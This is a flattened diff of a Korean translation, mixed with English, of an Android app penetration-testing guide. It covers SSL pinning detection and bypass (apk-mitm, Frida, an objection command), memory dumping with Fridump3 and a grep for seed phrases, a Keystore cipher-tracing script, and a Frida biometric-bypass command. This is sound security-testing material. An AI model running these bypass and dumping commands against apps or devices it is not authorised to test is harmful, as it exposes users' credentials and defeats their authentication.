๊ฐ€์ด๋“œ๋Š” [**์—ฌ๊ธฐ**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine)๋ฅผ ์ฐธ์กฐํ•˜์„ธ์š”. -**API Level 24 and above**๋ฅผ ํƒ€๊นƒ์œผ๋กœ ํ•˜๋Š” ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์€ ํ”„๋ก์‹œ์˜ CA ์ธ์ฆ์„œ๋ฅผ ์ˆ˜๋ฝํ•˜๋„๋ก Network Security Config๋ฅผ ์ˆ˜์ •ํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค. ์ด ๋‹จ๊ณ„๋Š” ์•”ํ˜ธํ™”๋œ ํŠธ๋ž˜ํ”ฝ์„ ๊ฒ€์‚ฌํ•˜๋Š” ๋ฐ ์ค‘์š”ํ•ฉ๋‹ˆ๋‹ค. Network Security Config ์ˆ˜์ • ๋ฐฉ๋ฒ•์€ [**refer to this tutorial**](make-apk-accept-ca-certificate.md)๋ฅผ ์ฐธ์กฐํ•˜์„ธ์š”. +Applications targeting **API Level 24 and above** require modifications to the Network Security Config to accept the proxy's CA certificate. ์ด ๋‹จ๊ณ„๋Š” ์•”ํ˜ธํ™”๋œ ํŠธ๋ž˜ํ”ฝ์„ ๊ฒ€์‚ฌํ•  ๋•Œ ๋งค์šฐ ์ค‘์š”ํ•ฉ๋‹ˆ๋‹ค. Network Security Config ์ˆ˜์ • ๋ฐฉ๋ฒ•์€ [**์ด ํŠœํ† ๋ฆฌ์–ผ**](make-apk-accept-ca-certificate.md)์„ ์ฐธ๊ณ ํ•˜์„ธ์š”. -If **Flutter**๊ฐ€ ์‚ฌ์šฉ๋˜๋Š” ๊ฒฝ์šฐ [**this page**](flutter.md)์˜ ์ง€์นจ์„ ๋”ฐ๋ผ์•ผ ํ•ฉ๋‹ˆ๋‹ค. ๋‹จ์ˆœํžˆ ์ธ์ฆ์„œ๋ฅผ ์Šคํ† ์–ด์— ์ถ”๊ฐ€ํ•˜๋Š” ๊ฒƒ๋งŒ์œผ๋กœ๋Š” ์ž‘๋™ํ•˜์ง€ ์•Š์œผ๋ฉฐ, Flutter๋Š” ์ž์ฒด์ ์ธ ์œ ํšจ CA ๋ชฉ๋ก์„ ๊ฐ€์ง€๊ณ  ์žˆ๊ธฐ ๋•Œ๋ฌธ์ž…๋‹ˆ๋‹ค. +If **Flutter** is being used you need to to follow the instructions in [**this page**](flutter.md). This is becasue, just adding the certificate into the store won't work as Flutter has its own list of valid CAs. -#### SSL/TLS pinning์˜ ์ •์  ํƒ์ง€ +#### Static detection of SSL/TLS pinning -๋Ÿฐํƒ€์ž„ ์šฐํšŒ ์‹œ๋„๋ฅผ ํ•˜๊ธฐ ์ „์— APK์—์„œ pinning์ด ์ ์šฉ๋œ ์œ„์น˜๋ฅผ ๋น ๋ฅด๊ฒŒ ๋งคํ•‘ํ•˜์„ธ์š”. ์ •์  ํƒ์ง€๋Š” ํ›…/ํŒจ์น˜ ๊ณ„ํš์„ ์„ธ์šฐ๊ณ  ์˜ฌ๋ฐ”๋ฅธ ์ฝ”๋“œ ๊ฒฝ๋กœ์— ์ง‘์ค‘ํ•˜๋Š” ๋ฐ ๋„์›€์ด ๋ฉ๋‹ˆ๋‹ค. +๋Ÿฐํƒ€์ž„ ์šฐํšŒ๋ฅผ ์‹œ๋„ํ•˜๊ธฐ ์ „์— APK์—์„œ pinning์ด ์ ์šฉ๋œ ์œ„์น˜๋ฅผ ๋น ๋ฅด๊ฒŒ ๋งคํ•‘ํ•˜์„ธ์š”. ์ •์  ํƒ์ง€๋Š” ํ›…/ํŒจ์น˜ ๊ณ„ํš์„ ์„ธ์šฐ๊ณ  ์˜ฌ๋ฐ”๋ฅธ ์ฝ”๋“œ ๊ฒฝ๋กœ์— ์ง‘์ค‘ํ•˜๋Š” ๋ฐ ๋„์›€์ด ๋ฉ๋‹ˆ๋‹ค. Tool: SSLPinDetect -- ์˜คํ”ˆ์†Œ์Šค ์ •์  ๋ถ„์„ ์œ ํ‹ธ๋ฆฌํ‹ฐ๋กœ APK๋ฅผ Smali( via apktool )๋กœ ๋””์ปดํŒŒ์ผํ•˜๊ณ  SSL/TLS pinning ๊ตฌํ˜„์— ๋Œ€ํ•œ ์„ ๋ณ„๋œ ์ •๊ทœ์‹ ํŒจํ„ด์„ ์Šค์บ”ํ•ฉ๋‹ˆ๋‹ค. -- ๊ฐ ์ผ์น˜ ํ•ญ๋ชฉ์— ๋Œ€ํ•ด ์ •ํ™•ํ•œ ํŒŒ์ผ ๊ฒฝ๋กœ, ๋ผ์ธ ๋ฒˆํ˜ธ ๋ฐ ์ฝ”๋“œ ์Šค๋‹ˆํŽซ์„ ๋ณด๊ณ ํ•ฉ๋‹ˆ๋‹ค. -- ์ผ๋ฐ˜์ ์ธ ํ”„๋ ˆ์ž„์›Œํฌ ๋ฐ ์ปค์Šคํ…€ ์ฝ”๋“œ ๊ฒฝ๋กœ๋ฅผ ํฌ๊ด„ํ•ฉ๋‹ˆ๋‹ค: OkHttp CertificatePinner, custom javax.net.ssl.X509TrustManager.checkServerTrusted, SSLContext.init with custom TrustManagers/KeyManagers, and Network Security Config XML pins. +- Open-source static-analysis utility that decompiles the APK to Smali (via apktool) and scans for curated regex patterns of SSL/TLS pinning implementations. +- Reports exact file path, line number, and a code snippet for each match. +- Covers common frameworks and custom code paths: OkHttp CertificatePinner, custom javax.net.ssl.X509TrustManager.checkServerTrusted, SSLContext.init with custom TrustManagers/KeyManagers, and Network Security Config XML pins. ์„ค์น˜ -- ํ•„์ˆ˜ ์š”๊ฑด: Python >= 3.8, Java on PATH, apktool +- Prereqs: Python >= 3.8, Java on PATH, apktool ```bash git clone https://github.com/aancw/SSLPinDetect cd SSLPinDetect @@ -463,7 +463,7 @@ python sslpindetect.py -f app.apk -a apktool.jar python sslpindetect.py -a apktool_2.11.0.jar -f sample/app-release.apk -v ``` ์˜ˆ์‹œ ํŒจํ„ด ๊ทœ์น™ (JSON) -signatures๋ฅผ ์‚ฌ์šฉํ•˜๊ฑฐ๋‚˜ ํ™•์žฅํ•˜์—ฌ ๋…์ /์ปค์Šคํ…€ pinning ์Šคํƒ€์ผ์„ ํƒ์ง€ํ•˜์„ธ์š”. ์ž์‹ ์˜ JSON์„ ๋ถˆ๋Ÿฌ์™€ ๋Œ€๊ทœ๋ชจ๋กœ ์Šค์บ”ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. +signatures๋ฅผ ์‚ฌ์šฉํ•˜๊ฑฐ๋‚˜ ํ™•์žฅํ•˜์—ฌ ๋…์ ์ /๋งž์ถคํ˜• pinning ์Šคํƒ€์ผ์„ ํƒ์ง€ํ•˜์„ธ์š”. ์ž์ฒด JSON์„ ๋กœ๋“œํ•˜์—ฌ ๋Œ€๊ทœ๋ชจ๋กœ scanํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ```json { "OkHttp Certificate Pinning": [ @@ -477,43 +477,43 @@ signatures๋ฅผ ์‚ฌ์šฉํ•˜๊ฑฐ๋‚˜ ํ™•์žฅํ•˜์—ฌ ๋…์ /์ปค์Šคํ…€ pinning ์Šคํƒ€์ผ์„ ] } ``` -Notes and tips -- ๋Œ€ํ˜• ์•ฑ์„ ๋น ๋ฅด๊ฒŒ ์Šค์บ”ํ•˜๋ ค๋ฉด ๋ฉ€ํ‹ฐ์Šค๋ ˆ๋”ฉ๊ณผ ๋ฉ”๋ชจ๋ฆฌ ๋งคํ•‘ I/O๋ฅผ ์‚ฌ์šฉํ•˜์„ธ์š”; ์‚ฌ์ „ ์ปดํŒŒ์ผ๋œ regex๋Š” ์˜ค๋ฒ„ํ—ค๋“œ์™€ false positives๋ฅผ ์ค„์—ฌ์ค๋‹ˆ๋‹ค. +๋…ธํŠธ ๋ฐ ํŒ +- ๋Œ€ํ˜• ์•ฑ์„ multi-threading๊ณผ memory-mapped I/O๋กœ ๋น ๋ฅด๊ฒŒ ์Šค์บ”; ๋ฏธ๋ฆฌ ์ปดํŒŒ์ผ๋œ regex๊ฐ€ ์˜ค๋ฒ„ํ—ค๋“œ/์˜คํƒ์„ ์ค„์—ฌ์คŒ. - Pattern collection: https://github.com/aancw/smali-sslpin-patterns -- ๋‹ค์Œ์œผ๋กœ ๋ถ„๋ฅ˜ํ•  ์ผ๋ฐ˜์ ์ธ ํƒ์ง€ ๋Œ€์ƒ: +- ๋‹ค์Œ์œผ๋กœ ์šฐ์„  ๋ถ„๋ฅ˜ํ•  ์ผ๋ฐ˜์ ์ธ ํƒ์ง€ ๋Œ€์ƒ: - OkHttp: CertificatePinner ์‚ฌ์šฉ, setCertificatePinner, okhttp3/okhttp ํŒจํ‚ค์ง€ ์ฐธ์กฐ - Custom TrustManagers: javax.net.ssl.X509TrustManager, checkServerTrusted ์˜ค๋ฒ„๋ผ์ด๋“œ -- Custom SSL contexts: SSLContext.getInstance + SSLContext.init ์™€ ์ปค์Šคํ…€ ๋งค๋‹ˆ์ € -- Declarative pins in res/xml network security config ๋ฐ manifest ์ฐธ์กฐ -- ์ผ์น˜ํ•œ ์œ„์น˜๋ฅผ ํ™œ์šฉํ•ด Frida hooks, static ํŒจ์น˜ ๋˜๋Š” ์„ค์ • ๊ฒ€ํ† ๋ฅผ ๊ณ„ํšํ•œ ๋’ค ๋™์  ํ…Œ์ŠคํŠธ๋ฅผ ์ง„ํ–‰ํ•˜์„ธ์š”. +- Custom SSL contexts: SSLContext.getInstance + SSLContext.init with custom managers +- Declarative pins in res/xml network security config and manifest references +- ์ผ์น˜ํ•œ ์œ„์น˜๋ฅผ ์‚ฌ์šฉํ•ด dynamic testing ์ „์— Frida hooks, static patches, ๋˜๋Š” config ๊ฒ€ํ† ๋ฅผ ๊ณ„ํšํ•˜์„ธ์š”. #### SSL Pinning ์šฐํšŒ -SSL Pinning์ด ๊ตฌํ˜„๋œ ๊ฒฝ์šฐ HTTPS ํŠธ๋ž˜ํ”ฝ์„ ๊ฒ€์‚ฌํ•˜๊ธฐ ์œ„ํ•ด ์ด๋ฅผ ์šฐํšŒํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค. ์ด๋ฅผ ์œ„ํ•œ ๋‹ค์–‘ํ•œ ๋ฐฉ๋ฒ•์ด ์žˆ์Šต๋‹ˆ๋‹ค: +์•ฑ์— SSL Pinning์ด ๊ตฌํ˜„๋˜์–ด ์žˆ์œผ๋ฉด HTTPS ํŠธ๋ž˜ํ”ฝ์„ ๊ฒ€์‚ฌํ•˜๊ธฐ ์œ„ํ•ด ์ด๋ฅผ ์šฐํšŒํ•  ํ•„์š”๊ฐ€ ์žˆ๋‹ค. ์ด๋ฅผ ์œ„ํ•œ ๋‹ค์–‘ํ•œ ๋ฐฉ๋ฒ•์ด ์žˆ๋‹ค: -- ์ž๋™์œผ๋กœ [**apk-mitm**](https://github.com/shroudedcode/apk-mitm)์„ ์‚ฌ์šฉํ•ด **apk**๋ฅผ **์ˆ˜์ •**ํ•˜์—ฌ **SSLPinning**์„ **์šฐํšŒ**ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด ๋ฐฉ๋ฒ•์˜ ๊ฐ€์žฅ ํฐ ์žฅ์ ์€ SSL Pinning์„ ์šฐํšŒํ•˜๊ธฐ ์œ„ํ•ด root๊ฐ€ ํ•„์š” ์—†๋‹ค๋Š” ์ ์ด์ง€๋งŒ, ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์„ ์‚ญ์ œํ•˜๊ณ  ์ƒˆ๋กœ ์„ค์น˜ํ•ด์•ผ ํ•˜๋ฉฐ ํ•ญ์ƒ ๋™์ž‘ํ•˜์ง€๋Š” ์•Š์Šต๋‹ˆ๋‹ค. -- ์•„๋ž˜์—์„œ ์„ค๋ช…ํ•˜๋Š” **Frida**๋ฅผ ์‚ฌ์šฉํ•ด ์ด ๋ณดํ˜ธ๋ฅผ ์šฐํšŒํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. Burp+Frida+Genymotion์„ ์‚ฌ์šฉํ•˜๋Š” ๊ฐ€์ด๋“œ๋Š” ๋‹ค์Œ์„ ์ฐธ๊ณ ํ•˜์„ธ์š”: [https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/) -- **์ž๋™์œผ๋กœ SSL Pinning์„ ์šฐํšŒ**ํ•˜๋ ค๋ฉด [**objection**](frida-tutorial/objection-tutorial.md)**:** ๋ฅผ ์‚ฌ์šฉํ•ด ๋ณด์„ธ์š”: `objection --gadget com.package.app explore --startup-command "android sslpinning disable"` -- **์ž๋™์œผ๋กœ SSL Pinning์„ ์šฐํšŒ**ํ•˜๋ ค๋ฉด **MobSF dynamic analysis**(์•„๋ž˜ ์„ค๋ช… ์ฐธ์กฐ)๋ฅผ ์‹œ๋„ํ•  ์ˆ˜๋„ ์žˆ์Šต๋‹ˆ๋‹ค. -- ์—ฌ์ „ํžˆ ์บก์ฒ˜ํ•˜์ง€ ๋ชปํ•˜๋Š” ํŠธ๋ž˜ํ”ฝ์ด ์žˆ๋‹ค๊ณ  ์ƒ๊ฐ๋˜๋ฉด **iptables๋ฅผ ์‚ฌ์šฉํ•ด ํŠธ๋ž˜ํ”ฝ์„ Burp๋กœ ํฌ์›Œ๋”ฉ**ํ•ด ๋ณด์„ธ์š”. ๋ธ”๋กœ๊ทธ๋ฅผ ์ฝ์–ด๋ณด์„ธ์š”: [https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62) +- Automatically **modify** the **apk** to **bypass** SSLPinning with [**apk-mitm**](https://github.com/shroudedcode/apk-mitm). The best pro of this option, is that you won't need root to bypass the SSL Pinning, but you will need to delete the application and reinstall the new one, and this won't always work. +- You could use **Frida** (discussed below) to bypass this protection. Here you have a guide to use Burp+Frida+Genymotion: [https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/) +- You can also try to **automatically bypass SSL Pinning** using [**objection**](frida-tutorial/objection-tutorial.md)**:** `objection --gadget com.package.app explore --startup-command "android sslpinning disable"` +- You can also try to **automatically bypass SSL Pinning** using **MobSF dynamic analysis** (explained below) +- If you still think that there is some traffic that you aren't capturing you can try to **forward the traffic to burp using iptables**. Read this blog: [https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62) -#### ์ผ๋ฐ˜์ ์ธ Web ์ทจ์•ฝ์  ์ฐพ๊ธฐ +#### ์ผ๋ฐ˜์ ์ธ ์›น ์ทจ์•ฝ์  ํƒ์ƒ‰ -์• ํ”Œ๋ฆฌ์ผ€์ด์…˜ ๋‚ด์—์„œ ํ”ํžˆ ๋ฐœ์ƒํ•˜๋Š” Web ์ทจ์•ฝ์ ๋„ ๋ฐ˜๋“œ์‹œ ๊ฒ€์ƒ‰ํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค. ์ด๋Ÿฌํ•œ ์ทจ์•ฝ์ ์„ ์‹๋ณ„ํ•˜๊ณ  ์™„ํ™”ํ•˜๋Š” ๋ฐฉ๋ฒ•์— ๋Œ€ํ•œ ์ž์„ธํ•œ ๋‚ด์šฉ์€ ์ด ์š”์•ฝ์˜ ๋ฒ”์œ„๋ฅผ ๋ฒ—์–ด๋‚˜์ง€๋งŒ ๋‹ค๋ฅธ ๊ณณ์— ๊ด‘๋ฒ”์œ„ํ•˜๊ฒŒ ์„ค๋ช…๋˜์–ด ์žˆ์Šต๋‹ˆ๋‹ค. +์• ํ”Œ๋ฆฌ์ผ€์ด์…˜ ๋‚ด์—์„œ ์ผ๋ฐ˜์ ์ธ ์›น ์ทจ์•ฝ์ ๋„ ๊ฒ€์ƒ‰ํ•˜๋Š” ๊ฒƒ์ด ์ค‘์š”ํ•˜๋‹ค. ์ด๋Ÿฌํ•œ ์ทจ์•ฝ์ ์„ ์‹๋ณ„ํ•˜๊ณ  ์™„ํ™”ํ•˜๋Š” ์ž์„ธํ•œ ์ •๋ณด๋Š” ์ด ์š”์•ฝ์˜ ๋ฒ”์œ„๋ฅผ ๋ฒ—์–ด๋‚˜์ง€๋งŒ ๋‹ค๋ฅธ ๊ณณ์— ๊ด‘๋ฒ”์œ„ํ•˜๊ฒŒ ๋‹ค๋ฃจ์–ด์ ธ ์žˆ๋‹ค. ### Frida -[Frida](https://www.frida.re) ๋Š” ๊ฐœ๋ฐœ์ž, ๋ฆฌ๋ฒ„์Šค ์—”์ง€๋‹ˆ์–ด, ๋ณด์•ˆ ์—ฐ๊ตฌ์›์„ ์œ„ํ•œ dynamic instrumentation toolkit์ž…๋‹ˆ๋‹ค.\ -**์‹คํ–‰ ์ค‘์ธ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์— ์ ‘๊ทผํ•ด ๋Ÿฐํƒ€์ž„์— ๋ฉ”์„œ๋“œ๋ฅผ hookํ•˜์—ฌ ๋™์ž‘์„ ๋ณ€๊ฒฝํ•˜๊ฑฐ๋‚˜ ๊ฐ’ ๋ณ€๊ฒฝ/์ถ”์ถœ, ๋‹ค๋ฅธ ์ฝ”๋“œ๋ฅผ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.**\ -Android ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์„ pentestํ•˜๋ ค๋ฉด Frida ์‚ฌ์šฉ๋ฒ•์„ ์•Œ์•„์•ผ ํ•ฉ๋‹ˆ๋‹ค. +[Frida](https://www.frida.re) ๋Š” ๊ฐœ๋ฐœ์ž, ๋ฆฌ๋ฒ„์Šค ์—”์ง€๋‹ˆ์–ด, ๋ณด์•ˆ ์—ฐ๊ตฌ์›์„ ์œ„ํ•œ ๋™์  ๊ณ„์ธก ํˆดํ‚ท์ด๋‹ค.\ +**์‹คํ–‰ ์ค‘์ธ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์— ์ ‘๊ทผํ•˜์—ฌ ๋Ÿฐํƒ€์ž„์— ๋ฉ”์„œ๋“œ๋ฅผ hookํ•˜์—ฌ ๋™์ž‘์„ ๋ณ€๊ฒฝํ•˜๊ฑฐ๋‚˜ ๊ฐ’์„ ๋ณ€๊ฒฝ/์ถ”์ถœํ•˜๊ณ  ๋‹ค๋ฅธ ์ฝ”๋“œ๋ฅผ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ๋‹ค...**\ +Android ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์„ pentestํ•˜๋ ค๋ฉด Frida ์‚ฌ์šฉ๋ฒ•์„ ์•Œ์•„์•ผ ํ•œ๋‹ค. - Frida ์‚ฌ์šฉ๋ฒ• ๋ฐฐ์šฐ๊ธฐ: [**Frida tutorial**](frida-tutorial/index.html) -- Frida ์ž‘์—…์šฉ ์ผ๋ถ€ "GUI": [**https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security**](https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security) -- Ojection์€ Frida ์‚ฌ์šฉ ์ž๋™ํ™”์— ์œ ์šฉํ•ฉ๋‹ˆ๋‹ค: [**https://github.com/sensepost/objection**](https://github.com/sensepost/objection) **,** [**https://github.com/dpnishant/appmon**](https://github.com/dpnishant/appmon) -- ๋ช‡ ๊ฐ€์ง€ Frida ์Šคํฌ๋ฆฝํŠธ ๋ชจ์Œ์€ ์—ฌ๊ธฐ์—์„œ ์ฐพ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: [**https://codeshare.frida.re/**](https://codeshare.frida.re) -- [https://erfur.github.io/blog/dev/code-injection-without-ptrace](https://erfur.github.io/blog/dev/code-injection-without-ptrace)์— ์„ค๋ช…๋œ ๋Œ€๋กœ Frida๋ฅผ ๋กœ๋“œํ•ด anti-debugging / anti-frida ๋ฉ”์ปค๋‹ˆ์ฆ˜์„ ์šฐํšŒํ•ด ๋ณด์„ธ์š” (๋„๊ตฌ [linjector](https://github.com/erfur/linjector-rs)) +- Frida๋กœ ์ž‘์—…์„ ์œ„ํ•œ ์ผ๋ถ€ "GUI": [**https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security**](https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security) +- Ojection is great to automate the use of Frida: [**https://github.com/sensepost/objection**](https://github.com/sensepost/objection) **,** [**https://github.com/dpnishant/appmon**](https://github.com/dpnishant/appmon) +- ์—ฌ๊ธฐ์—์„œ ๋ช‡๋ช‡ Awesome Frida ์Šคํฌ๋ฆฝํŠธ๋ฅผ ์ฐพ์„ ์ˆ˜ ์žˆ๋‹ค: [**https://codeshare.frida.re/**](https://codeshare.frida.re) +- anti-debugging / anti-frida ๋ฉ”์ปค๋‹ˆ์ฆ˜์„ ์šฐํšŒํ•˜๋ ค๋ฉด Frida๋ฅผ ๋‹ค์Œ์— ์•ˆ๋‚ด๋œ ๋ฐฉ์‹์œผ๋กœ ๋กœ๋“œํ•ด ๋ณด์„ธ์š”: [https://erfur.github.io/blog/dev/code-injection-without-ptrace](https://erfur.github.io/blog/dev/code-injection-without-ptrace) (๋„๊ตฌ [linjector](https://github.com/erfur/linjector-rs)) #### Anti-instrumentation & SSL pinning bypass workflow @@ -523,9 +523,9 @@ android-anti-instrumentation-and-ssl-pinning-bypass.md ### **๋ฉ”๋ชจ๋ฆฌ ๋คํ”„ - Fridump** -์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์ด ๋น„๋ฐ€๋ฒˆํ˜ธ๋‚˜ ๋‹ˆ๋ชจ๋‹‰ ๊ฐ™์€ ์ €์žฅํ•ด์„œ๋Š” ์•ˆ ๋˜๋Š” ๋ฏผ๊ฐํ•œ ์ •๋ณด๋ฅผ ๋ฉ”๋ชจ๋ฆฌ์— ์ €์žฅํ•˜๊ณ  ์žˆ๋Š”์ง€ ํ™•์ธํ•˜์„ธ์š”. +์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์ด ๋ฉ”๋ชจ๋ฆฌ ์•ˆ์— ์ €์žฅํ•ด์„œ๋Š” ์•ˆ ๋˜๋Š” ๋น„๋ฐ€๋ฒˆํ˜ธ๋‚˜ mnemonics ๊ฐ™์€ ๋ฏผ๊ฐํ•œ ์ •๋ณด๋ฅผ ์ €์žฅํ•˜๊ณ  ์žˆ๋Š”์ง€ ํ™•์ธํ•˜์„ธ์š”. -[**Fridump3**](https://github.com/rootbsd/fridump3)๋ฅผ ์‚ฌ์šฉํ•˜๋ฉด ์•ฑ์˜ ๋ฉ”๋ชจ๋ฆฌ๋ฅผ ๋‹ค์Œ๊ณผ ๊ฐ™์ด ๋คํ”„ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: +Using [**Fridump3**](https://github.com/rootbsd/fridump3) you can dump the memory of the app with: ```bash # With PID python3 fridump3.py -u @@ -534,76 +534,76 @@ python3 fridump3.py -u frida-ps -Uai python3 fridump3.py -u "" ``` -์ด๊ฒƒ์€ ./dump ํด๋”์— ๋ฉ”๋ชจ๋ฆฌ๋ฅผ ๋คํ”„ํ•˜๋ฉฐ, ๊ทธ ์•ˆ์—์„œ ๋‹ค์Œ๊ณผ ๊ฐ™์ด grepํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: +์ด ๋ช…๋ น์€ ๋ฉ”๋ชจ๋ฆฌ๋ฅผ ./dump ํด๋”์— ๋คํ”„ํ•˜๋ฉฐ, ๊ทธ ์•ˆ์—์„œ ๋‹ค์Œ๊ณผ ๊ฐ™์ด grepํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: ```bash strings * | grep -E "^[a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+$" ``` ### **Keystore์˜ ๋ฏผ๊ฐํ•œ ๋ฐ์ดํ„ฐ** -Android์—์„œ Keystore๋Š” ๋ฏผ๊ฐํ•œ ๋ฐ์ดํ„ฐ๋ฅผ ์ €์žฅํ•˜๊ธฐ์— ๊ฐ€์žฅ ์ข‹์€ ์žฅ์†Œ์ž…๋‹ˆ๋‹ค. ๊ทธ๋Ÿฌ๋‚˜ ์ถฉ๋ถ„ํ•œ ๊ถŒํ•œ์ด ์žˆ์œผ๋ฉด ์—ฌ์ „ํžˆ **์ ‘๊ทผํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค**. ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์€ ์—ฌ๊ธฐ์„œ **ํ‰๋ฌธ์œผ๋กœ ๋ฏผ๊ฐํ•œ ๋ฐ์ดํ„ฐ๋ฅผ** ์ €์žฅํ•˜๋Š” ๊ฒฝํ–ฅ์ด ์žˆ์œผ๋ฏ€๋กœ, pentests๋Š” root user๋กœ ๊ฒ€์‚ฌ๋ฅผ ์ˆ˜ํ–‰ํ•ด์•ผ ํ•˜๋ฉฐ ์žฅ์น˜์— ๋ฌผ๋ฆฌ์ ์œผ๋กœ ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ๋Š” ์‚ฌ๋žŒ์ด ์ด ๋ฐ์ดํ„ฐ๋ฅผ ํ›”์น  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. +Android์—์„œ Keystore๋Š” ๋ฏผ๊ฐํ•œ ๋ฐ์ดํ„ฐ๋ฅผ ์ €์žฅํ•˜๊ธฐ์— ๊ฐ€์žฅ ์ข‹์€ ์žฅ์†Œ์ง€๋งŒ, ์ถฉ๋ถ„ํ•œ ๊ถŒํ•œ์ด ์žˆ์œผ๋ฉด ์—ฌ์ „ํžˆ **์ ‘๊ทผํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค**. ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์€ ์—ฌ๊ธฐ์„œ **๋ฏผ๊ฐํ•œ ๋ฐ์ดํ„ฐ๋ฅผ ํ‰๋ฌธ์œผ๋กœ ์ €์žฅํ•˜๋Š” ๊ฒฝํ–ฅ์ด ์žˆ๊ธฐ ๋•Œ๋ฌธ์—**, pentests๋Š” root user ๊ถŒํ•œ์œผ๋กœ ์ด๋ฅผ ํ™•์ธํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค. ์žฅ์น˜์— ๋ฌผ๋ฆฌ์  ์ ‘๊ทผ์ด ๊ฐ€๋Šฅํ•œ ์‚ฌ๋žŒ๋„ ์ด ๋ฐ์ดํ„ฐ๋ฅผ ํƒˆ์ทจํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. -์•ฑ์ด keystore์— ๋ฐ์ดํ„ฐ๋ฅผ ์ €์žฅํ•˜๋”๋ผ๋„, ํ•ด๋‹น ๋ฐ์ดํ„ฐ๋Š” ์•”ํ˜ธํ™”๋˜์–ด์•ผ ํ•ฉ๋‹ˆ๋‹ค. +์•ฑ์ด Keystore์— ๋ฐ์ดํ„ฐ๋ฅผ ์ €์žฅํ•˜๋”๋ผ๋„, ๊ทธ ๋ฐ์ดํ„ฐ๋Š” ์•”ํ˜ธํ™”๋˜์–ด์•ผ ํ•ฉ๋‹ˆ๋‹ค. -keystore ๋‚ด๋ถ€์˜ ๋ฐ์ดํ„ฐ์— ์ ‘๊ทผํ•˜๋ ค๋ฉด ๋‹ค์Œ Frida script๋ฅผ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: [https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js](https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js) +Keystore ๋‚ด๋ถ€์˜ ๋ฐ์ดํ„ฐ์— ์ ‘๊ทผํ•˜๋ ค๋ฉด ๋‹ค์Œ Frida script๋ฅผ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: [https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js](https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js) ```bash frida -U -f com.example.app -l frida-scripts/tracer-cipher.js ``` ### **Fingerprint/Biometrics Bypass** -๋‹ค์Œ Frida ์Šคํฌ๋ฆฝํŠธ๋ฅผ ์‚ฌ์šฉํ•˜๋ฉด Android ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์ด ํŠน์ • ๋ฏผ๊ฐํ•œ ์˜์—ญ์„ ๋ณดํ˜ธํ•˜๊ธฐ ์œ„ํ•ด ์ˆ˜ํ–‰ํ•˜๋Š” **bypass fingerprint authentication**์„ ์šฐํšŒํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: +๋‹ค์Œ Frida script๋ฅผ ์‚ฌ์šฉํ•˜๋ฉด Android ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์ด ํŠน์ • ๋ฏผ๊ฐ ์˜์—ญ์„ ๋ณดํ˜ธํ•˜๊ธฐ ์œ„ํ•ด ์ˆ˜ํ–‰ํ•˜๊ณ  ์žˆ์„ ์ˆ˜ ์žˆ๋Š” **bypass fingerprint authentication**์„ ์šฐํšŒํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: ```bash frida --codeshare krapgras/android-biometric-bypass-update-android-11 -U -f ``` ### 